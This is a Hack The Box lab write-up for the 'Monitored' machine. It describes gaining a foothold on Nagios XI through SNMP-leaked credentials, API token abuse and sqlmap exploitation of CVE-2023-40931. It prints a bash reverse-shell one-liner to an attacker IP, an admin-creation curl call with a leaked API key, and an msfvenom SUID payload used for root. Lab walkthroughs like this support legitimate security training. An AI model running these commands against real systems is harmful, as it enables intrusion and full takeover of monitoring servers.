HTB Writeup: Monitored
WriteUp
Description
- Monitored is a medium-difficulty Linux machine that features a Nagios instance. Credentials for the service are obtained via the SNMP protocol, which reveals a username and password combination provided as command-line parameters. Using the Nagios API, an authentication token for a disabled account is obtained, which leads to access to the application’s dashboard. From there, a SQL injection (
CVE-2023-40931
) is abused to obtain an administrator API key, with which a new admin account is created and used to run arbitrary commands on the instance, leading to a reverse shell. Finally,sudo
access to a bash script is abused to read theroot
user’s SSH key and authenticate asroot
.
User
- We start with a port scan. With it, we notice that the machine has the TCP ports
22, 80, 389, 443, 5667
open.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Nmap 7.94SVN scan initiated Sun Apr 7 15:30:44 2024 as: nmap -sCV -p22,80,389,443,5667 -n -Pn -v -oN scanPorts 10.10.11.248
Nmap scan report for 10.10.11.248
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
| 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Issuer: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-11-11T21:46:55
| Not valid after: 2297-08-25T21:46:55
| MD5: b36a:5560:7a5f:047d:9838:6450:4d67:cfe0
|_SHA-1: 6109:3844:8c36:b08b:0ae8:a132:971c:8e89:cfac:2b5b
|_http-title: Nagios XI
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
5667/tcp open tcpwrapped
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 7 15:31:05 2024 -- 1 IP address (1 host up) scanned in 21.27 seconds
Given that there is a redirect to the domain
nagios.monitored.htb
, we will add this domain to our/etc/hosts
file using the commandecho "10.10.11.248 nagios.monitored.htb" | sudo tee -a /etc/hosts
.Upon entering the website, we are presented with an interface showing that the web server is using Nagios XI. Additionally, we can access the Nagios interface through the path
/nagiosxi/login.php
, however, we do not have credentials.
We will try default, credentials as per this source, however, we are unable to login.
When performing fuzzing to find available directories, we get the following results. Among them, we will first analyze the path
/nagiosxi/api
- Continuing with the fuzzing using the wordlist
big.txt
, we notice that in the path/nagiosxi/api/v1/
, the following endpoints are available.
- In which the
authenticate
endpoint indicates that valid credentials need to be provided via thePOST
method.
- Given that said endpoint requires valid credentials, we searched for vulnerabilities related to Nagios XI using
searchsploit
and noticed that one of them is related to theSNMP
protocol, which allowsmonitoring
(maybe it's a hint
) the network infrastructure among other things. Therefore, we performed a UDP scan and noticed that indeedport 161 is open
.
- We use the
snmpwalk
tool with the classic community stringpublic
.
- With
snmpwalk
, we found what appears to be credentials for the usersvc:XjH7VCehowpR1xZB
.
- With those credentials, we tried to log in but were unsuccessful.
- However, we were able to authenticate via a POST request to the
authenticate
endpoint and obtain anauth_token
.
- When trying to authenticate again on
login.php
, we found that the account has been disabled. However, in our search for authentication with an auth_token, we found the following reference API
- When attempting to authenticate following that specification, we are issued a cookie and successfully accessed the dashboard.
- Once authenticated, while searching for authenticated vulnerabilities, we found the following CVE-2023-40931, which allows exploitation of an
SQLi
at the path/nagiosxi/admin/banner_message-ajaxhelper.php
. We attempted to exploit it with sqlmap and obtained the following 3 types of SQLi.
- Then we will dump the
xi_users
table from which we obtain the API key of the administrator user.
1
sqlmap --technique=E --url "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php" -X POST --data "action=acknowledge_banner_message&id=3" -cookie 'nagiosxi=8p56l6va3u06cvq3momdb7rsb8' -p id -D nagiosxi -T xi_users --dump
- Performing a search on how to create an account with the admin API key, we found this blog.
- Additionally, we will search for the post parameter that allows the creation of an account with administrator privileges. In this PDF file, we found that through the admin interface there is an option called
Authorization Level
, which allows setting administrator privileges.
- In this post, we found the format of the parameters. Therefore, upon performing the following search, we noticed that the
auth_level
parameter can be added when creating users.
- Finally, we created the user
xpnt
with administrator privileges.
1
curl -XPOST "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=xpnt&password=xpnt&name=xpnt&email=xpnt@monitored.htb&auth_level=admin" -k
- Searching for a way to execute commands within Nagios XI, we found the following blog. In this blog, it is explained that in the creation of Services, we can test a command previously created in the Commands section.
1
bash -c 'bash -i>&/dev/tcp/10.10.14.162/443 0>&1'
Comments: It is worth noting that
double quotes
in the paylaod are not correctly interpreted
- With that, we obtained a
reverse shell
and were able to read user.txt.
Root
- When running
sudo -l
, we noticed that we can execute several commands withsudo
without providing a password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
nagios@monitored:/home/svc$ sudo -l
Matching Defaults entries for nagios on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nagios may run the following commands on localhost:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
- I tried to check if the user
nagios
had write privileges on any of the scripts inPHP
andBash
, but no luck.
1
2
>sudo -l | grep -oP ": \K.*sh" | xargs -n1 ls -la
>sudo -l | grep -oP ": \K.*php" | xargs -n1 ls -la
- After reviewing the functionality of each of the scripts, I noticed that the
nagios
service could be stopped and restarted with the help of the script/usr/local/nagiosxi/scripts/manage_services.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/bin/bash
#
# Manage Services (start/stop/restart)
# Copyright (c) 2015-2020 Nagios Enterprises, LLC. All rights reserved.
#
# =====================
# Built to allow start/stop/restart of services using the proper method based on
# the actual version of operating system.
#
# Examples:
# ./manage_services.sh start httpd
# ./manage_services.sh restart mysqld
# ./manage_services.sh checkconfig nagios
#
BASEDIR=$(dirname $(readlink -f $0))
# Import xi-sys.cfg config vars
. $BASEDIR/../etc/xi-sys.cfg
# Things you can do
first=("start" "stop" "restart" "status" "reload" "checkconfig" "enable" "disable")
second=("postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm")
# Helper functions
# -----------------------
contains () {
local array="$1[@]"
local seeking=$2
local in=1
for element in "${!array}"; do
if [[ "$element" == "$seeking" ]]; then
in=0
break
fi
done
return $in
}
# Verify to avoid abuse
# -----------------------
# Check to verify the proper usage format
# ($1 = action, $2 = service name)
if ! contains first "$1"; then
echo "First parameter must be one of: ${first[*]}"
exit 1
fi
if ! contains second "$2"; then
echo "Second parameter must be one of: ${second[*]}"
exit 1
fi
action=$1
# if service name is defined in xi-sys.cfg use that name
# else use name passed
if [ "$2" != "php-fpm" ] && [ ! -z "${!2}" ];then
service=${!2}
else
service=$2
fi
# if the action is status, add -n 0 to args to stop journal output
# on CentOS/RHEL 7 systems
args=""
if [ "$action" == "status" ]; then
args="-n 0"
fi
# Special case for ndo2db since we don't use it anymore
if [ "$service" == "ndo2db" ]; then
echo "OK - Nagios XI 5.7 uses NDO3 build in and no longer uses the ndo2db service"
exit 0
fi
# Run the command
# -----------------------
# CentOS / Red Hat
if [ "$distro" == "CentOS" ] || [ "$distro" == "RedHatEnterpriseServer" ] || [ "$distro" == "EnterpriseEnterpriseServer" ] || [ "$distro" == "OracleServer" ]; then
# Check for enable/disable verb
if [ "$action" == "enable" ] || [ "$action" == "disable" ]; then
if [ `command -v systemctl` ]; then
`which systemctl` --no-pager "$action" "$service"
elif [ `command -v chkconfig` ]; then
chkconfig_path=`which chkconfig`
if [ "$action" == "enable" ]; then
"$chkconfig_path" --add "$service"
return_code=$?
elif [ "$action" == "disable" ]; then
"$chkconfig_path" --del "$service"
return_code=$?
fi
fi
exit $return_code
fi
if [ `command -v systemctl` ]; then
`which systemctl` --no-pager "$action" "$service" $args
return_code=$?
if [ "$service" == "mysqld" ] && [ $return_code -ne 0 ]; then
service="mariadb"
`which systemctl` "$action" "$service" $args
return_code=$?
fi
elif [ ! `command -v service` ]; then
"/etc/init.d/$service" "$action"
return_code=$?
else
`which service` "$service" "$action"
return_code=$?
fi
fi
# OpenSUSE / SUSE Enterprise
if [ "$distro" == "SUSE LINUX" ]; then
if [ "$dist" == "suse11" ]; then
`which service` "$service" "$action"
return_code=$?
fi
fi
# Ubuntu / Debian
if [ "$distro" == "Debian" ] || [ "$distro" == "Ubuntu" ]; then
# Adjust the shellinabox service, no trailing 'd' in Debian/Ubuntu
if [ "$service" == "shellinaboxd" ]; then
service="shellinabox"
fi
if [ `command -v systemctl` ]; then
`which systemctl` --no-pager "$action" "$service" $args
return_code=$?
else
`which service` "$service" "$action"
return_code=$?
fi
fi
# Others?
exit $return_code
- Given that the script
/usr/local/nagiosxi/scripts/manage_services.sh
can be executed withroot
privileges and since we have write privileges on the/usr/local/nagios/bin/nagios
binary file, we can replace this binary file with another one that executes a privileged task in order to escalate our privileges (chmod u+s /bin/bash
).
- We will use
msfvenom
to generate a binary file namednagios
that executeschmod u+s /bin/bash
.
1
2
3
4
5
6
7
❯ msfvenom -p linux/x64/exec -f elf CMD='chmod u+s /bin/bash' -o nagios
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 56 bytes
Final size of elf file: 176 bytes
Saved as: nagios
- Then, we will replace the binary file
/usr/local/nagios/bin/nagios
with the one generated usingmsfvenom
.
- We will grant execution permissions.
- Then, we will restart the
nagios
service by executing the script/usr/local/nagiosxi/scripts/manage_services.sh
as root. Nice! I’m able to convert to theroot
user now, and then I’ll read/root/root.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart nagios
Job for nagios.service failed because the control process exited with error code.
See "systemctl status nagios.service" and "journalctl -xe" for details.
nagios@monitored:~$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
nagios@monitored:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
0fae616536de29cf3325855864dfd105
I hope you had as much fun reading this write up as I did writing it. If this writeup helped you, please feel free to go to my
Hack The Box profile (xpnt)
and give me a respect 😁. Happy Hacking!!👾